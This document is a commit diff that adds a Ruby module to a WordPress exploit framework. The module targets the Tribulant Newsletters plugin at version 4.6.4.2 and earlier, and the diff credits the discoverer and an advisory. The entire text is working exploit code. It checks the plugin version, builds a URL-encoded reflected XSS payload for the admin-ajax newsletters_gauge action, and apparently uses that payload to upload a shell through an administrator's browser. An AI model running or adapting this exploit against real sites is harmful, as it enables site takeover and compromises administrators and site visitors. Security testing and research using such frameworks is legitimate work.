Add Tribulant Newsletters <= 4.6.4.2 reflected XSS shell upload

Author: rastating

modules/exploits/tribulant_newsletter_reflected_xss_shell_upload.rb

@@ -0,0 +1,37 @@
+class Wpxf::Exploit::TribulantNewsletterReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+  include ERB::Util
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Tribulant Newsletters <= 4.6.4.2 Reflected XSS Shell Upload',
+      author: [
+        'DefenseCode',                    # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8839'],
+        ['URL', 'http://defensecode.com/advisories/DC-2017-01-012_WordPress_Tribulant_Newsletters_Plugin_Advisory.pdf']
+      ],
+      date: 'May 31 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('newsletters-lite', '4.6.4.3')
+  end
+
+  def vulnerable_url
+    wordpress_url_admin_ajax
+  end
+
+  def url_payload
+    url_encode("});#{xss_ascii_encoded_include_script};</script>")
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?action=newsletters_gauge&value=1#{url_payload}"
+  end
+end